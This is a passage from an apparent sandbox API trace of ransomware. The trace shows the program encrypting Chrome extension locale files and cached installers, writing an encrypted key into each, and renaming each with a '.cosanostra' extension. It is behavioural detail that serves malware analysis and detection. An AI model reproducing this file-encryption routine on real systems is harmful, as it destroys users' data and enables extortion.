data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ru\\messages.json.cosanostra")) returned 1 [0086.513] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x26ff9d0 | out: pbBuffer=0x26ff9d0) returned 1 [0086.513] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c8c0*, pdwDataLen=0x26ff9c8*=0x20, dwBufLen=0x30 | out: pbData=0x27c8c0*, pdwDataLen=0x26ff9c8*=0x30) returned 1 [0086.513] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ro\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ro\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x184 [0086.514] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ro\\messages.json") returned 155 [0086.514] StrStrW (lpFirst="messages.json", lpSrch=".txt") returned 0x0 [0086.515] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0xffffff51, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0086.515] WriteFile (in: hFile=0x184, lpBuffer=0x229f48*, nNumberOfBytesToWrite=0xaf, lpNumberOfBytesWritten=0x26ff98c, lpOverlapped=0x0 | out: lpBuffer=0x229f48*, lpNumberOfBytesWritten=0x26ff98c*=0xaf, lpOverlapped=0x0) returned 1 [0086.515] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.515] WriteFile (in: hFile=0x184, lpBuffer=0x26ff9cc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x26ff98c, lpOverlapped=0x0 | out: lpBuffer=0x26ff9cc*, lpNumberOfBytesWritten=0x26ff98c*=0x4, lpOverlapped=0x0) returned 1 [0086.515] WriteFile (in: hFile=0x184, lpBuffer=0x27c8c0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x26ff98c, lpOverlapped=0x0 | out: lpBuffer=0x27c8c0*, lpNumberOfBytesWritten=0x26ff98c*=0x30, lpOverlapped=0x0) returned 1 [0086.515] CloseHandle (hObject=0x184) returned 1 [0086.515] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ro\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ro\\messages.json"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ro\\messages.json.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ro\\messages.json.cosanostra")) returned 1 [0086.516] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x26ff9c8 | out: pbBuffer=0x26ff9c8) returned 1 [0086.516] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c8c0*, pdwDataLen=0x26ff9c0*=0x20, dwBufLen=0x30 | out: pbData=0x27c8c0*, pdwDataLen=0x26ff9c0*=0x30) returned 1 [0086.516] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\packages\\vcRuntimeMinimum_amd64\\vc_runtimeMinimum_x64.msi" (normalized: "c:\\programdata\\package cache\\{cf2bea3c-26ea-32f8-aa9b-331f7e34ba97}v11.0.61030\\packages\\vcruntimeminimum_amd64\\vc_runtimeminimum_x64.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x184 [0086.525] lstrlenW (lpString="\\\\?\\C:\\ProgramData\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\packages\\vcRuntimeMinimum_amd64\\vc_runtimeMinimum_x64.msi") returned 140 [0086.525] StrStrW (lpFirst="vc_runtimeMinimum_x64.msi", lpSrch=".txt") returned 0x0 [0086.587] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0086.587] WriteFile (in: hFile=0x184, lpBuffer=0x229f48*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x26ff984, lpOverlapped=0x0 | out: lpBuffer=0x229f48*, lpNumberOfBytesWritten=0x26ff984*=0x2800, lpOverlapped=0x0) returned 1 [0086.587] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.587] WriteFile (in: hFile=0x184, lpBuffer=0x26ff9c4*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x26ff984, lpOverlapped=0x0 | out: lpBuffer=0x26ff9c4*, lpNumberOfBytesWritten=0x26ff984*=0x4, lpOverlapped=0x0) returned 1 [0086.587] WriteFile (in: hFile=0x184, lpBuffer=0x27c8c0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x26ff984, lpOverlapped=0x0 | out: lpBuffer=0x27c8c0*, lpNumberOfBytesWritten=0x26ff984*=0x30, lpOverlapped=0x0) returned 1 [0086.588] CloseHandle (hObject=0x184) returned 1 [0086.588] MoveFileW (lpExistingFileName="\\\\?\\C:\\ProgramData\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\packages\\vcRuntimeMinimum_amd64\\vc_runtimeMinimum_x64.msi" (normalized: "c:\\programdata\\package cache\\{cf2bea3c-26ea-32f8-aa9b-331f7e34ba97}v11.0.61030\\packages\\vcruntimeminimum_amd64\\vc_runtimeminimum_x64.msi"), lpNewFileName="\\\\?\\C:\\ProgramData\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\packages\\vcRuntimeMinimum_amd64\\vc_runtimeMinimum_x64.msi.cosanostra" (normalized: "c:\\programdata\\package cache\\{cf2bea3c-26ea-32f8-aa9b-331f7e34ba97}v11.0.61030\\packages\\vcruntimeminimum_amd64\\vc_runtimeminimum_x64.msi.cosanostra")) returned 1 [0086.590] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x26ff9c0 | out: pbBuffer=0x26ff9c0) returned 1 [0086.590] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c8c0*, pdwDataLen=0x26ff9b8*=0x20, dwBufLen=0x30 | out: pbData=0x27c8c0*, pdwDataLen=0x26ff9b8*=0x30) returned 1 [0086.590] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\sw\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\sw\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x184 [0086.590] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\sw\\messages.json") returned 155 [0086.590] StrStrW (lpFirst="messages.json", lpSrch=".txt") returned 0x0 [0086.591] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0xffffff3c, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0086.591] WriteFile (in: hFile=0x184, lpBuffer=0x229f48*, nNumberOfBytesToWrite=0xc4, lpNumberOfBytesWritten=0x26ff97c, lpOverlapped=0x0 | out: lpBuffer=0x229f48*, lpNumberOfBytesWritten=0x26ff97c*=0xc4, lpOverlapped=0x0) returned 1 [0086.592] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.592] WriteFile (in: hFile=0x184, lpBuffer=0x26ff9bc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x26ff97c, lpOverlapped=0x0 | out: lpBuffer=0x26ff9bc*, lpNumberOfBytesWritten=0x26ff97c*=0x4, lpOverlapped=0x0) returned 1 [0086.592] WriteFile (in: hFile=0x184, lpBuffer=0x27c8c0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x26ff97c, lpOverlapped=0x0 | out: lpBuffer=0x27c8c0*, lpNumberOfBytesWritten=0x26ff97c*=0x30, lpOverlapped=0x0) returned 1 [0086.592] CloseHandle (hObject=0x184) returned 1 [0086.592] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\sw\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\sw\\messages.json"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\sw\\messages.json.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\sw\\messages.json.cosanostra")) returned 1 [0086.594] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x26ff9b8 | out: pbBuffer=0x26ff9b8) returned 1 [0086.594] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c8c0*, pdwDataLen=0x26ff9b0*=0x20, dwBufLen=0x30 | out: pbData=0x27c8c0*, pdwDataLen=0x26ff9b0*=0x30) returned 1 [0086.594] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\sv\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\sv\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x184 [0086.594] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\sv\\messages.json") returned 155 [0086.594] StrStrW (lpFirst="messages.json", lpSrch=".txt") returned 0x0 [0086.595] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0xffffff4d, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0086.595] WriteFile (in: hFile=0x184, lpBuffer=0x229f48*, nNumberOfBytesToWrite=0xb3, lpNumberOfBytesWritten=0x26ff974, lpOverlapped=0x0 | out: lpBuffer=0x229f48*, lpNumberOfBytesWritten=0x26ff974*=0xb3, lpOverlapped=0x0) returned 1 [0086.595] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.595] WriteFile (in: hFile=0x184, lpBuffer=0x26ff9b4*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x26ff974, lpOverlapped=0x0 | out: lpBuffer=0x26ff9b4*, lpNumberOfBytesWritten=0x26ff974*=0x4, lpOverlapped=0x0) returned 1 [0086.595] WriteFile (in: hFile=0x184, lpBuffer=0x27c8c0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x26ff974, lpOverlapped=0x0 | out: lpBuffer=0x27c8c0*, lpNumberOfBytesWritten=0x26ff974*=0x30, lpOverlapped=0x0) returned 1 [0086.595] CloseHandle (hObject=0x184) returned 1 [0086.595] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\sv\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\sv\\messages.json"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\sv\\messages.json.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\sv\\messages.json.cosanostra")) returned 1 [0086.597] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x26ff9b0 | out: pbBuffer=0x26ff9b0) returned 1 [0086.597] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c8c0*, pdwDataLen=0x26ff9a8*=0x20, dwBufLen=0x30 | out: pbData=0x27c8c0*, pdwDataLen=0x26ff9a8*=0x30) returned 1 [0086.597] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\sr\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\sr\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x184 [0086.597] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\sr\\messages.json") returned 155 [0086.597] StrStrW (lpFirst="messages.json", lpSrch=".txt") returned 0x0 [0086.598] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0xfffffefc, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0086.598] WriteFile (in: hFile=0x184, lpBuffer=0x229f48*, nNumberOfBytesToWrite=0x104, lpNumberOfBytesWritten=0x26ff96c, lpOverlapped=0x0 | out: lpBuffer=0x229f48*, lpNumberOfBytesWritten=0x26ff96c*=0x104, lpOverlapped=0x0) returned 1 [0086.598] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.598] WriteFile (in: hFile=0x184, lpBuffer=0x26ff9ac*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x26ff96c, lpOverlapped=0x0 | out: lpBuffer=0x26ff9ac*, lpNumberOfBytesWritten=0x26ff96c*=0x4, lpOverlapped=0x0) returned 1 [0086.598] WriteFile (in: hFile=0x184, lpBuffer=0x27c8c0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x26ff96c, lpOverlapped=0x0 | out: lpBuffer=0x27c8c0*, lpNumberOfBytesWritten=0x26ff96c*=0x30, lpOverlapped=0x0) returned 1 [0086.598] CloseHandle (hObject=0x184) returned 1 [0086.598] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\sr\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\sr\\messages.json"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\sr\\messages.json.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\sr\\messages.json.cosanostra")) returned 1 [0086.600] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x26ff9a8 | out: pbBuffer=0x26ff9a8) returned 1 [0086.600] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c8c0*, pdwDataLen=0x26ff9a0*=0x20, dwBufLen=0x30 | out: pbData=0x27c8c0*, pdwDataLen=0x26ff9a0*=0x30) returned 1 [0086.600] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\sl\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\sl\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x184 [0086.600] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\sl\\messages.json") returned 155 [0086.600] StrStrW (lpFirst="messages.json", lpSrch=".txt") returned 0x0 [0086.601] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0xffffff42, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0086.601] WriteFile (in: hFile=0x184, lpBuffer=0x229f48*, nNumberOfBytesToWrite=0xbe, lpNumberOfBytesWritten=0x26ff964, lpOverlapped=0x0 | out: lpBuffer=0x229f48*, lpNumberOfBytesWritten=0x26ff964*=0xbe, lpOverlapped=0x0) returned 1 [0086.601] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.601] WriteFile (in: hFile=0x184, lpBuffer=0x26ff9a4*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x26ff964, lpOverlapped=0x0 | out: lpBuffer=0x26ff9a4*, lpNumberOfBytesWritten=0x26ff964*=0x4, lpOverlapped=0x0) returned 1 [0086.601] WriteFile (in: hFile=0x184, lpBuffer=0x27c8c0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x26ff964, lpOverlapped=0x0 | out: lpBuffer=0x27c8c0*, lpNumberOfBytesWritten=0x26ff964*=0x30, lpOverlapped=0x0) returned 1 [0086.601] CloseHandle (hObject=0x184) returned 1 [0086.602] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\sl\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\sl\\messages.json"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\sl\\messages.json.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\sl\\messages.json.cosanostra")) returned 1 [0086.605] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x26ff9a0 | out: pbBuffer=0x26ff9a0) returned 1 [0086.605] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c8c0*, pdwDataLen=0x26ff998*=0x20, dwBufLen=0x30 | out: pbData=0x27c8c0*, pdwDataLen=0x26ff998*=0x30) returned 1 [0086.605] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\sk\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\sk\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x184 [0086.605] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\sk\\messages.json") returned 155 [0086.605] StrStrW (lpFirst="messages.json", lpSrch=".txt") returned 0x0 [0086.606] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0xffffff3b, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0086.606] WriteFile (in: hFile=0x184, lpBuffer=0x229f48*, nNumberOfBytesToWrite=0xc5, lpNumberOfBytesWritten=0x26ff95c, lpOverlapped=0x0 | out: lpBuffer=0x229f48*, lpNumberOfBytesWritten=0x26ff95c*=0xc5, lpOverlapped=0x0) returned 1 [0086.606] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.606] WriteFile (in: hFile=0x184, lpBuffer=0x26ff99c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x26ff95c, lpOverlapped=0x0 | out: lpBuffer=0x26ff99c*, lpNumberOfBytesWritten=0x26ff95c*=0x4, lpOverlapped=0x0) returned 1 [0086.606] WriteFile (in: hFile=0x184, lpBuffer=0x27c8c0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x26ff95c, lpOverlapped=0x0 | out: lpBuffer=0x27c8c0*, lpNumberOfBytesWritten=0x26ff95c*=0x30, lpOverlapped=0x0) returned 1 [0086.606] CloseHandle (hObject=0x184) returned 1 [0086.606] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\sk\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\sk\\messages.json"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\sk\\messages.json.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\sk\\messages.json.cosanostra")) returned 1 [0086.607] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x26ff9a0 | out: pbBuffer=0x26ff9a0) returned 1 [0086.607] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c8c0*, pdwDataLen=0x26ff998*=0x20, dwBufLen=0x30 | out: pbData=0x27c8c0*, pdwDataLen=0x26ff998*=0x30) returned 1 [0086.607] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\packages\\vcRuntimeMinimum_amd64\\cab1.cab" (normalized: "c:\\programdata\\package cache\\{cf2bea3c-26ea-32f8-aa9b-331f7e34ba97}v11.0.61030\\packages\\vcruntimeminimum_amd64\\cab1.cab"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x184 [0086.607] lstrlenW (lpString="\\\\?\\C:\\ProgramData\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\packages\\vcRuntimeMinimum_amd64\\cab1.cab") returned 123 [0086.607] StrStrW (lpFirst="cab1.cab", lpSrch=".txt") returned 0x0 [0086.609] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0086.609] WriteFile (in: hFile=0x184, lpBuffer=0x229f48*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x26ff95c, lpOverlapped=0x0 | out: lpBuffer=0x229f48*, lpNumberOfBytesWritten=0x26ff95c*=0x2800, lpOverlapped=0x0) returned 1 [0086.610] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.610] WriteFile (in: hFile=0x184, lpBuffer=0x26ff99c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x26ff95c, lpOverlapped=0x0 | out: lpBuffer=0x26ff99c*, lpNumberOfBytesWritten=0x26ff95c*=0x4, lpOverlapped=0x0) returned 1 [0086.628] WriteFile (in: hFile=0x184, lpBuffer=0x27c8c0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x26ff95c, lpOverlapped=0x0 | out: lpBuffer=0x27c8c0*, lpNumberOfBytesWritten=0x26ff95c*=0x30, lpOverlapped=0x0) returned 1 [0086.628] CloseHandle (hObject=0x184) returned 1 [0086.655] MoveFileW (lpExistingFileName="\\\\?\\C:\\ProgramData\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\packages\\vcRuntimeMinimum_amd64\\cab1.cab" (normalized: "c:\\programdata\\package cache\\{cf2bea3c-26ea-32f8-aa9b-331f7e34ba97}v11.0.61030\\packages\\vcruntimeminimum_amd64\\cab1.cab"), lpNewFileName="\\\\?\\C:\\ProgramData\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\packages\\vcRuntimeMinimum_amd64\\cab1.cab.cosanostra" (normalized: 